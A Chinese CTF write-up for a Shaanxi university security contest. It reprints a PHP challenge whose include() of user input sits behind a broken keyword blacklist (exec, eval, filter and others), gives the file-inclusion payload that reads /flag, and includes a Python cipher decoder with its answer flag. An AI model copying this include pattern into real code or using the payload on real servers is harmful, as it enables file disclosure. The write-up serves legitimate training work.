第三届陕西省大学生网络安全技能部分WP

152 0 0

作者:Ayann

web

easyrce

题目代码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);

if (!empty($_GET['PK'])){
    $PK = $_GET['PK'];
    if(blacklistFilter($_SERVER["QUERY_STRING"])){
        include $PK;
    }else{
        highlight_file(__FILE__);
    }
}

function blacklistFilter($arg) {
    $blacklist = array('[', ']', ';', '?', '@', '(', ')', 'exec', 'eval', '$', 'phpinfo', 'flag', 'data', 'filter', '#');
    $filteredInput = str_replace($blacklist, '', $arg);
    return $filteredInput;
}

payload: http://e2e84684.clsadp.com/?PK=/flag

MISC

云缨

题目文本
8881088410842088810810842042108108821041010882108881
0为截断，0前面的4位置相加之后为26个大写英文字母的索引，exp如下：

#-*- coding utf8 -*-

import string
import hashlib

def decode(c):
    l = c.split('0')
    origin = string.ascii_uppercase
    r = ''
    for i in l:
        tmp = 0
        for num in i:
            tmp += int(num)
        r += origin[tmp-1]
    return r

str = decode('8881088410842088810810842042108108821041010882108881')
md5 = hashlib.md5()
md5.update(str.encode())
print('flag{' + md5.hexdigest() + '}')
#flag{9edabf1448871181eb0e7133b5b3d701}